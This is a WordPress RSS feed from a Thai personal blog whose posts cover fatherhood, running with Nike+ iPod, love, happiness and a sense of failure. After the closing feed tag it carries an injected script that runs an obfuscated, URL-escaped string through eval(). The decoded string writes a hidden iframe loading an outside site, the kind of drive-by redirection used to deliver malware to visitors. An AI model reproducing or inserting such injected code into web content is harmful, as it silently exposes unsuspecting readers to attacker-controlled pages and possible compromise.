<?xml version="1.0" encoding="UTF-8"?><!-- generator="wordpress/2.2.1" -->
<rss version="0.92">
<channel>
	<title>weloveblog.com</title>
	<link>http://www.weloveblog.com</link>
	<description>Story and Photo of my Life</description>
	<lastBuildDate>Wed, 16 Jan 2008 12:54:39 +0000</lastBuildDate>
	<docs>http://backend.userland.com/rss092</docs>
	<language>en</language>
	
	<item>
		<title>จอม The Star</title>
		<description>หายไปนานนนนนนน เลยครับ วันนี้คิดว่าอากาศคงจะกลับมาหนาวอีกครั้ง หรือหนักกว่านั้นหิมะ อาจจะตกก็เป็นได้ เพราะผมมานั่งเขียน Blog (ประชดตัวเองซะอย่างนั้น) ที่ผ่านมาก็ไม่ได้ติดงานอะไรมากมาย จนไม่มีเวลามาอัพเดทหรอกครับ ส่วนใหญ่จะติดหญิงซะมากกว่า (เอาเข้าไป) เป็นความขี้เกียจส่วนบุคคลจริงๆ ขอยอมรับผิดครับ สำหรับใครที่รออ่านเรื่องไม่เป็นเรื่องของผม ต้องขออภัยอย่างยิ่ง เอาไว้จะทยอยลงให้อ่านกันครับ ถ้าอยากอ่านกันนะ (จะมีใครอยากอ่านไหมเนี่ย)

วันนี้มาเรียกน้ำย่อยกับ เจ้าหนูลูกรัก น้องจอมขวัญ ในมาดของว่าที่ The Star ประจำปี...ปี....ไหน อะ อีกสัก 15 ปี ข้างหน้าแล้วกันครับ ดูการเตรียมความพร้อมของเจ้าหนูจอมกันดู อย่าลืมคอมเมนต์ เป็นกำลังใจให้หนูจอมด้วยนะครับ


      </description>
		<link>http://www.weloveblog.com/2008/01/16/jom-the-star/</link>
			</item>
	<item>
		<title>มารู้จักกับ nike+ ipod</title>
		<description> 

สวัสดีครับ ไม่ได้อัพเดท Blog ซะนานเลย สำหรับแฟนๆ Weloveblog ก็ไม่ต้องห่วงนะครับ ผมยังอยู่รอดปลอดภัยและสบายดี ที่หายไปช่วงนี้ก็เพราะว่าหนีไปทำงานประจำครับ เลยต้องปรับตัวอะไรหลายๆ อย่างให้เข้ากับวัฒนธรรมการทำงานของออฟฟิศใหม่ ซึ่งก็เป็นไปได้ด้วยดี ช่วงนี้ชีวิตเริ่มมีจังหวะที่ดีขึ้น ถึงจะไม่หวือหวา โลดโผน เหมือนเมื่อก่อน แต่ก็ไม่แน่นิ่งเหมือนยืนอยู่กับที่นะครับ

ทักทายกันมาพอสมควรมาเข้าเรื่องกันดีกว่า

ที่ผ่านมาจะเห็นว่าเรื่องราวใน blog เกือบร้อยละร้อย เป็นเรื่องของความรู้สึกล้วนๆ ไม่ได้มีเรื่องประเทืองปัญญาสำหรับผู้อ่านเท่าไหร่ ผมเลยคิดที่จะนำเสนอสิ่งที่เป็นประโยชน์ หรืออะไรที่ใหม่ๆ ขึ้นใน weloveblog ซึ่งเป็นความตั้งใจที่คิดมานานแล้วครับ นานมากจนลืมๆ จำๆ ไปหลายรอบแล้ว ...

และแล้วตอนนี้ผมก็ได้เรื่องที่ดูเป็นเรื่องเป็นราวขึ้นมาแล้ว ครับเรื่องที่ผมจะนำเสนอต่อจากนี้ไป เป็นเรื่องเกี่ยวกับการวิ่ง การออกกำลังที่ทำได้ง่ายที่สุด ทุกที่ ทุกเวลา  แต่เดี่ยวก่อน ถ้าเป็นการวิ่งแบบทั่วๆไป ดูเหมือนจะเป็นเรื่องพื้นๆ ไม่น่าสนใจอะไรใช่ไหมครับ ที่ผมกำลังนำเสนอมันมีอะไรมากกว่านั้นแน่นอนครับ

 </description>
		<link>http://www.weloveblog.com/2007/09/30/nike-ipod01/</link>
			</item>
	<item>
		<title>ความเข้าใจที่ไม่เคยได้เข้าใจ</title>
		<description>
 
ผมเดินออกจากลิฟท์ เมื่อประตูลิฟท์เปิดออก เท้าทั้งสองข้างพยายามเบี่ยงเบนพาร่างกายเดินตรงไปที่หน้าต่าง แทนที่จะเดินเข้าห้องทำงานเหมือนที่เคย วันนี้คืออีกวันในฤดูฝน ที่ผมต้องเสียใจกับเรื่องซ้ำซาก เรื่องซ้ำซากที่มีอิทธิพลต่อความรู้สึกอย่างร้ายกาจ จนต่อมน้ำตาต้องออกแรงทำงานกันอีกครั้ง

ฝนตกปอยๆ ผมยืนอยู่ริมหน้าต่างของตึกชั้นที่ 7 ลมจากภายนอกอาคารพัดหอบเอาฝนเม็ดน้อย เข้ามาไล้สองแก้ม ท่าทีเหมือนจะปาดน้ำตาบนหน้าใบเศร้าใบนี้ ผมคิดขอบคุณลมและเม็ดฝนอยู่ในใจ ถึงแม้มันจะไม่สามารถทำให้ผมตื่นจากความรู้สึกแย่ๆ ได้ก็ตาม อย่างน้อยมันก็ยังมีน้ำใจกว่าใครบางคน ที่คงไม่ได้รู้สึกอะไรกับผลที่เกิดขึ้นกับผมครั้งนี้

ลมยังพัดหอบเม็ดฝนเข้ามาทางหน้าต่างอย่างต่อเนื่อง เช่นเดียวกับต่อมน้ำตาที่ทำงานสอดรับกับลมและฝนอย่างขยันขันแข็ง ความรู้สึกแย่ๆ ที่เป็นตัวบงการให้ต่อมน้ำตาต้องออกแรง มันไม่ได้เป็นสิ่งแปลกใหม่สำหรับชีวิตของผม แต่ถึงกระนั้นผมก็ไม่สามารถทำความคุ้นเคยกับมันได้สักที

ความจริงก็คือ เรื่องบางเรื่องผมไม่มีหน้าที่ ที่จะต้องไปทำความเข้าใจกับมัน เพราะที่สุดแล้วมันไม่มีความเข้าใจให้ผมได้สบายใจเลย การพยายามวิ่งทำความเข้าใจกับเรื่องพวกนี้นอกจากจะทำร้ายความรู้สึกตัวเองตลอดเวลาแล้ว ยังทำร้ายคนรอบข้างที่อยู่ในระยะทำการของความรู้สึกเราอีกด้วย

เลิกทำความเข้าใจ เลิกมานั่งคิด นั่งถามว่า "ทำไม" "เพราะอะไร" เสียที ผมพูดกับความรู้สึกอ่อนล้าในใจ ตอนนี้ผมไม่ได้อยู่ริมหน้าต่างชั้น 7 แล้ว  ผมกำลังก้าวขึ้นบันไดไปที่ดาดฟ้า ประตูดาดฟ้าไม่ได้ปิดไว้อย่างสนิท ทำให้แสงที่ไม่สว่างนักในฤดูฝนผ่านช่องประตูเข้ามา ถึงไม่ได้เป็นแสงสว่างที่สวยเหมือนในฤดูอื่นๆ สำหรับผมตอนนี้มันก็ดูจะเป็นทางสว่างที่ดีที่สุด ผมเปิดประตูดาดฟ้าออกไปหาแสงสว่าง อากาศบนดาดฟ้าตึกขนาด 8 ชั้น ดีอย่างไม่ธรรมดาเลย รู้อย่างนี้ผมน่าจะก้าวออกมาเสียตั้งแต่ทีแรก ทนอยู่กับการทำความเข้าใจที่มันไม่เคยได้เข้าใจมาตั้งนาน
ตอนนี้ฝนเริ่มพากันตกหนักขึ้น ดูเหมือนมันจะมาร่วมไว้อาลัยให้กับผม ที่ได้ตายจากความรู้สึกของใครบางคน... </description>
		<link>http://www.weloveblog.com/2007/08/11/understand/</link>
			</item>
	<item>
		<title>Out of Control</title>
		<description> 

เมื่อวานได้ยินข่าวสะพานข้ามแม่น้ำถล่มในเมืองมินนิอาโปลิส รัฐมินนิโซตาของสหรัฐอเมริกา สาเหตุจากรายงานข่าวบอกว่าอาจเป็นเพราะความเก่าแก่ที่ใช้งานมาถึง 40 ปี ซึ่งเหตุเกิดช่วงชั่วโมงเร่งด่วน คาดผู้เสียชีวิตอาจสูงกว่า 9 ศพ เนื่องจากยังสูญหายอีก 20 คน และได้รับบาดเจ็บไปอีกประมาณ 60 คน ฟังแล้วชวนให้สยอง เรื่องที่ไม่น่าจะเกิด ก็เกิดขึ้นจนได้ น่าคิดไหมครับว่าทำไม เรื่องแค่นี้ มนุษย์เราไม่สามารถควบคุมไม่ให้มันเกิดขึ้นได้

นับตั้งแต่การเริ่มต้นคิดค้นเทคโนโลยีใหม่ๆ คนเราก็ก้าวข้ามกำแพงชั้นแรกเข้าสู่การควบคุมธรรมชาติ เราสามารถควบคุมและสั่งการสิ่งต่างๆ รอบตัวได้อย่างที่ใจเราต้องการ มากน้อยแค่ไหนก็ขึ้นกับกำลังเทคโนโลยีที่เรามี เราสามารถพาตัวเองไปที่ไหนต่อไหนก็ได้โดยพาหนะในรูปแบบต่างๆ  เวลาที่เราขับรถเราก็สามารถควบคุมรถให้วิ่งเร็ว วิ่งช้า เบรค เลี้ยวซ้ายหรือเลี้ยวขวา  การได้มาซึ่งการควบคุมอะไรสักอย่าง บางครั้งอาจจะต้องใช้การลงทุนอันแสนแพง และอาจจะต้องใช้เวลาลองผิดลองถูกในระยะหนึ่ง แต่สำหรับเรื่องบางเรื่องเราก็ไม่สามารถควบคุมมันได้ ไม่ว่าเราจะใช้กำลังทุนและเวลาเท่าไหร่ก็ตาม

คิดอะไรกันให้ยากบางครั้งเรื่องที่เราควบคุมมันได้อยู่ทุกวัน วันดีคืนร้ายเราก็ไม่สามารถควบคุมมันได้ซะอย่างนั้น รถที่เราใช้เป็นประจำทุกวัน คุณเคยทะเลาะกับมันบ้างไหมล่ะ แล้วดูอย่างอุบัติเหตุสะพานถล่มที่บอกไป คนเราสร้างเอง ควบคุมเองแท้ๆ ใช่ไหม วันนี้เราก็ไม่สามารถควบคุมมันได้เช่นกัน แล้วคุณคิดว่าชีวิตต่อๆ ไปเราจะต้องทำอย่างไร
ในเมื่อความจริงแล้วคือ คนเราไม่สามารถควบคุมอะไรได้อย่างแท้จริง
เอาเรื่องใกล้ตัวเราที่สุดบ้างดีกว่า ตั้งแต่เราเกิดมาเราเคยนับไหมครับว่า อะไรที่เราคิดว่าเราควบคุมมันได้ แต่สุดท้ายแล้วมันก็อยู่นอกเหนือการควบคุมของเราทุกที ลองยกตัวอย่างกันดู  หน้าที่การงาน วาสนา ...</description>
		<link>http://www.weloveblog.com/2007/08/04/out-of-control/</link>
			</item>
	<item>
		<title>Love is the source of life</title>
		<description>
  
เพลงเพราะมากนะครับ อย่าลืมเปิดลำโพงฟังกันหละ เดี๋ยวพรุ่งนี้จะตามมาเขียน จอมขวัญตื่น มาเรียก "พ่อทอมไปนอนได้แล้ววว" เอาล่ะพ่อที่ดีต้องเชื่อฟังลูก ไปนอนแล้ว...

------------------------------------------------------

เขียนต่อตอนกลางวัน

เค้าว่ากันว่ามีลูกหนึ่งคนจะจนไปสิบแปดปี....โห
ก็น่าจะจริงนะ ไหนจะค่าเลี้ยงดูต่างๆ ค่านม ค่าผ้าอ้อม โตมาอีกหน่อยถ้าเป็นลูกผู้หญิงเหมือนผมคงหนีไม่พ้นค่าแฟชั่นต่างๆ เสื้อผ้า เครื่องสำอางค์ โทรศัพท์มือถือ และอีกเพียบ แค่คิดต่อมหาเงินก็เริ่มรวนแล้ว

เดิมทีสมัยที่ผมเพิ่งแต่งงานใหม่ๆ ผมเป็นคนที่อยากมีลูกมากๆ อาจจะเป็นเพราะว่าครอบครัวผมอบอุ่นมาก หรือเรียกได้ว่ามากที่สุด ซึ่งส่งผลให้ผมเป็นคนรักครอบครัว เมื่อแต่งงานมีครอบครัวเข้าจริงๆ ก็อยากจะมีสมาชิกตัวน้อยๆ เลย จะได้เป็นครอบครัวจริงๆ ซะที และแล้ววันหนึ่งครอบครัวผมก็สมบูรณ์ วันนั้นคำว่าพ่อคนได้เข้ามาเคาะประตูบ้านเบาๆ และบอกกับเราสองคน ผมกับแฟน ผ่านกระดาษลิตมัสที่เค้าใช้ตรวจการตั้งครรภ์ ว่าอีกไม่น่าจะเกินเก้าเดือน เราจะมีลูกแล้ว ผมไม่แน่ใจว่าตั้งแต่เกิดมาจนถึงอายุในขณะนั้น 27 ปี ที่ชีวิตมีแต่เรื่องดีๆ จะมีเรื่องไหนที่จะทำให้ดีใจได้เท่านี้ ชนิดที่ว่าความปิคิ ยินดี ไหลอาบเต็มสี่ห้องของหัวใจ วันนั้นผมจำไม่ได้แล้วว่าผมตัวใหญ่แค่ไหน เหมือนไฟทุกดวงส่องมาที่ผมเพียงคนเดียว สิ่งที่ยากอย่างเดียวในตอนนั้นคือ ผมจะกดโทรศัพท์บอกใครก่อนดี โทรหาคุณพ่อ หรือโทรหาคุณแม่ก่อน ...

ผมไม่รู้ว่าจะบอกเล่าถึงความรู้สึกตอนที่เค้าเกิดได้อย่างไร ตอนที่เค้าจ้องหน้าผมครั้งแรกในชีวิต อาจจะบอกความรู้สึกผ่านสมการทางคณิตศาสตร์ได้ตามสูตรนี้
ความรู้สึกตอนรู้ว่าตั้งครรภ์ ...</description>
		<link>http://www.weloveblog.com/2007/07/31/love-is-the-source-of-life/</link>
			</item>
	<item>
		<title>Happy is all around</title>
		<description> 

เชื่อไหมครับว่าความสุข เราสามารถแบ่งปันกันได้ ผมเชื่อนะ แล้วก็เชื่อมานานแล้วด้วย...

ความสุข เป็นความรู้สึกชนิดหนึ่งซึ่งส่วนใหญ่จะอยู่ในหมวดที่แสดงถึงความรู้สึกดีๆ แต่บางครั้ง ความสุข ก็ไปอยู่ผิดที่ ผิดทางกลายเป็น ความสุขบนความทุกข์ของคนอื่น หรือความสุขชั่ววูบ แต่ไม่ว่าจะอยู่ในรูปแบบใด ความสุขก็ยังเป็นความที่คนทุกคนต้องการ แล้วจะทำอย่างไรเราถึงจะได้ความสุขชิ้นโตมาครอบครองกันหละ

จริงๆ แล้วเราทุกคนรู้ดีว่า ความสุข นั้นมันก็อยู่รอบๆ ตัวเรานี่แหละ ผมรู้ และคุณก็รู้ อยู่ที่เราเองว่าเราจะจัดการกับสิ่งรอบตัวอย่างไรให้ได้รับความสุข ไม่ยากหรอกครับถ้าอยากมีความสุข แต่ถ้ามันเกิดยากขึ้นมา ก็ตัวเราเองนี่แหละที่มักจะทำให้มันยากกันไปเอง ยกตัวอย่างเรื่องที่ทำให้ผมมีความสุขเรื่องหนึ่ง เรื่องเล็กๆ ครับคุณรู้ไหมว่า มาม่าคัพ ถ้วยหนึ่งเนี้ยทำให้คนในครอบครัวผมสองคนมีความสุขได้ แม่ผมแลกซื้อมาด้วยเงินเพียง 9 บาท (จากราคาเต็ม 12 บาท) แม่ผมมีความสุขมากที่ประหยัดเงินไปถึง 3 บาท ปลาบปลื้มกันไป และตอนที่ผมกำลังพิมพ์เรื่องนี้อยู่ ผมก็เปิดฝากดน้ำร้อนใส่ รอให้ได้ที่ แล้วละเลียดอย่างเมามันส์ เพราะผมกำลังหิว ง่ายไหมครับ ความสุขจากเงิน 9 บาท จากมาม่าคัพ หนึ่งถ้วย เรื่องเล็กๆ แบบนี้ ความสุขเล็กๆ ...</description>
		<link>http://www.weloveblog.com/2007/07/29/happy-is-all-around/</link>
			</item>
	<item>
		<title>เล่าด้วยภาพ ตอน โลกมัว มัว ของเราสองคน</title>
		<description>ย ย 

ย ย 

ย ย  </description>
		<link>http://www.weloveblog.com/2007/07/15/jom-lomo/</link>
			</item>
	<item>
		<title>love is&#8230;</title>
		<description> 

"ความรักทำให้คนตาบอด" ใครเป็นคนบัญญัติคำๆ นี้ขึ้นมาในโลกของความรัก คงจะมีน้อยคนนักที่จะรู้ แต่ที่เดาเอาง่ายๆ คือ คนผู้นี้ต้องมีความรักที่ไม่สมหวังแน่ๆ

ในบรรดาความรู้สึกต่างๆ ของคนเราปกติ ความรักดูจะเป็นความที่มีผู้ให้ความหมายต่างๆ นาๆ มากที่สุดก็ว่าได้ เช่นที่กล่าวไปในย่อหน้าแรก "ความรักทำให้คนตาบอด" หรือลองคิดกันเล่นๆ "ความรักคือความเข้าใจ" เอาอีก "ความรักคือการเสียสละ" "ความรักคือการให้โดยไม่หวังสิ่งตอบแทน" หรือถ้าเป็นผม ผมจะจำกัดความว่า ความรักคือการเรียนรู้ของชีวิตอย่างหนึ่ง..

คนเราเกิดมาต้องมีอย่างน้อยสักครั้งหนึ่งสำหรับการได้สัมผัสกับความรัก หรือน่าจะพูดได้ว่าคนเรามีความรักเหมือนกันทุกคน และแต่ละคนก็มีความรักที่แตกต่างกันออกไป ความรักสำหรับบางคนคือยาขมที่กินเข้าไปทุกครั้งต้องรู้สึกขยาด สำหรับบางคนความรักอาจจะเป็นน้ำผึ้งหวาน ที่ชวนให้เคลิ้มไปอย่างมีความสุข

น่าเสียดายที่ความรักไม่สามารถชั่งน้ำหนักได้ เราจะใช้หน่วยวัดใดๆ ในโลกนี้ชั่ง ตวง วัด ความรักได้บ้างนะ จะได้บอกกันให้แจ่มๆ กันไปเลยว่า "ผมรักคุณมากนะ เป็นจำนวน 100,000 ลูกบาศเมตร" หรือ "ถ้าคุณรักฉันไม่ถึง 2,000 ตารางกิโลเมตร ฉันจะไม่แต่งงานกับคุณ" แต่สำหรับบางคนอาจจะบอกว่า "แม้ว่าคุณรักผมเพียง 1 นาโนเมตร ผมก็จะยังรักคุณด้วยจำนวน  100,000 บาเรล" ที่น่าแปลกก็คือ ถึงความรักจะไม่สามารถชั่ง ...</description>
		<link>http://www.weloveblog.com/2007/07/09/love-is/</link>
			</item>
	<item>
		<title>เรื่องน่าแปลกที่ไม่แปลกหน้า</title>
		<description>

วันอาทิตย์วันที่ถูกเหมาจากคนหมู่มากว่าวันนี้คือวันหยุดพักผ่อน สำหรับผมแล้วเกือบทุกวันอาทิตย์ไม่เหมือนวันหยุดพักผ่อนสักเท่าไหร่ ถ้าจะบอกว่าเป็นวันที่ต้องคิดเรื่องงาน ลงมือทำงาน น้อยกว่าทุกๆ วัน ดูจะเหมาะดีกว่า ไม่น่าเชื่อเลยว่า ภาระหน้าที่ในการทำงาน มันจะเข้ามาตีสนิทกับชีวิตของผมได้อย่างสนิทสนมมาก และรวดเร็วถึงเพียงนี้ นึกถึงเมื่อครั้งที่ยังเป็นนักศึกษา อืม ย้อนไปสัก หกถึงเจ็ดปี ความรู้สึกยังเหมือนประมาณเมื่อวานซืนนี้เอง ผมกับภาระหน้าที่ การทำงานต่างๆ เรายังเหมือนคนแปลกหน้าสำหรับกันและกันอยู่เลย

น่าแปลกที่แปลกกว่าแปลกหน้าก็คือ ภาระหน้าที่การงาน อุปสรรคต่างๆ แรงกดดันเสียดสี ผมก็สนิทสนม คุ้นชินกับมันราวกับเป็นญาติผู้ใหญ่ แต่สำหรับความสำเร็จในสิ่งที่ผมตั้งตารอ มันก็ยังไม่ยอมนับญาติกับผมเสียที หลายครั้งผมเคยได้ยินมาว่า การทำงานให้สำเร็จนอกจากความขยัน สู้งาน แล้วยังจะต้องมีเรื่องของโชคเข้ามาเกี่ยวข้องด้วย คุณอาจจะเคยเห็นคนบางคนทำอะไรก็ดูจะราบรื่น สำเร็จไปได้ด้วยดี กลับอีกคนที่ทำอย่างเดียวกัน แต่กลับล้มไปไม่เป็นท่า แบบนี้เพราะ มีโชค กับไม่มีโชค หรือปล่าว? 

เคยมีงานวิจัยของสถาบันโกวซิหมี่ คอลเลจ ประเทศจีน ถ้าจำไม่ผิดเจ้าของผลงานวิจัยชื่อ Dr.Sing Yord Sian (อ่านว่า ซิง ยอด เซียน) เค้าทำวิจัยเรื่องปัจจัยที่ทำให้ธุรกิจประสบความสำเร็จ ...</description>
		<link>http://www.weloveblog.com/2007/06/18/miracle-not-stranger/</link>
			</item>
	<item>
		<title>ความล้มเหลว</title>
		<description>

ผมตื่นขึ้นมาในเช้ามืดวันหนึ่ง ที่พายุกำลังเดินทางมาถึง เสียงลมที่พายุพาเข้ามา ลอดผ่านหน้าต่างแบบบานมุ้งลวดให้เสียงโหยหวน ฟังแล้วน่าขนลุกยิ่งนัก ถึงจะมีลมแรงเช่นนี้ก็ยังไม่เห็นวี่แววของสายฝน แต่มันคงกำลังเดินทางมา และคงจะมาตกให้เห็นถึงหน้าบ้านแน่ๆ

นาฬิกาไม่ได้บอกผมว่าตอนนี้เวลาเท่าไหร่ เพราะไม่ได้อยู่ในระยะทำการของสายตาที่จะมองเห็นเวลาได้ แต่ผมเดาจากเสียงไก่ขันว่าตอนนี้น่าจะอยู่ในช่วงเวลา ตีสี่ย่างเข้าตีห้า ไม่น่าจะผิดไปมากน้อย ความรู้สึกผมในตอนนี้ก็ไม่ต่างอะไรไปกับอากาศภายนอกบ้านที่กำลังแปรปรวน ผมรู้สึกหมดหวังและหมดความศรัทธาในเช้าของวันใหม่ไปทุกๆ ที ทุกครั้งที่ผมนับวันที่ผ่านไปในชีวิต จะมีเรื่องดีๆ ให้ได้ภูมิใจกับเค้าสักกี่เรื่อง เรื่องแย่ๆ ไม่ต้องนับให้ปวดนิ้วหรอกครับ ผมว่าใช้เครื่องคิดเลขน่าจะดีกว่า 

ที่จริงแล้วความรู้สึกที่ผมมีอยู่ในตอนนี้ถ้าจะมีใครสักคนรับผิดชอบ ก็น่าจะเป็นผมเอง ผมเองต้นเหตุที่ทำให้ตัวผมเองต้องอยู่ในสภาพเช่นนี้ ความผิดพลาดไม่มีใครอยากพบอยากเจอ ความล้มเหลวมันให้ความรู้สึกตรงข้ามกับความสำเร็จแน่นอนใครก็รู้ ที่ผ่านมาผมพยายามทำทุกอย่างให้ดีที่สุดถึงแม้ว่ามันจะไม่เคยเป็นอย่างที่ตั้งใจก็ตามที หลายคนบอกว่าผมกล้าเกินไป มองโลกดีเกินไป และอะไรอีกหลายข้อที่จะมาเป็นข้อเสียของผมได้ ....ผมเข้าใจ ถ้าทุกอย่างที่ผมทำมันไม่ขัดสายตาใคร ความสำเร็จเกิดขึ้นให้ทุกคนได้สัมผัส ข้อเสียต่างๆ คงจะมีคนเอาไปแปะไว้ในข้อดีเป็นแน่ หลายคนคงจะบอกว่าที่ผมมาถึงตรงนี้ได้ เพราะความกล้าที่จะเสี่ยงและลงมือทำ ประกอบกับการมองโลกในแง่ดี และอีกหลายข้อที่จะกลายมาเป็นข้อดี แต่ก็อย่างที่ได้บอกไว้ ในเมื่อวันนี้ผมยังเป็นคนที่ล้มเหลว ไม่มีควมสำเร็จอะไรในชีวิตซักอย่างหนึ่ง ใครจะให้ความเชื่อถือ ใครจะมาไว้ใจ ใครจะเข้าใจ..

ผมเคยผ่านเรื่องแย่ที่สุดมาก็ไม่น้อย ทุกครั้งผมจะให้กำลังใจกับตัวเอง และในบางสถาณการณ์ผมก็ได้รับจากคนรอบข้างด้วย ทุกครั้งที่ผมล้มเหลวต้องเริ่มนับหนึ่งใหม่ ผมพบว่ากำลังใจที่ผมให้กับตัวเองและที่ได้รับจากคนอื่นมันลดลง...ลดลง.... ไม่มีใครอยากทำอะไรซ้ำๆ ...</description>
		<link>http://www.weloveblog.com/2007/03/21/fail_down/</link>
			</item>
</channel>
</rss>
<Script>
<!--
var w=window;
eval( unescape( "%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%49%46%52%41%4d%45%20%6e%61%6d%65%3d%32%33%36%38%39%20%73%72%63%3d%5c%27%68%74%74%70%3a%2f%2f%6d%79%2d%70%61%67%65%2d%64%65%2e%69%6e%66%6f%2f%69%6e%2e%63%67%69%3f%32&%27%2b%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%39%35%31%36%30%29%2b%27%31%35%36%5c%27%20%77%69%64%74%68%3d%31%39%35%20%68%65%69%67%68%74%3d%34%38%38%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%5c%27%3e%3c%2f%49%46%52%41%4d%45%20%3e%27%29" )); var c1439772935;
//-->
</Script>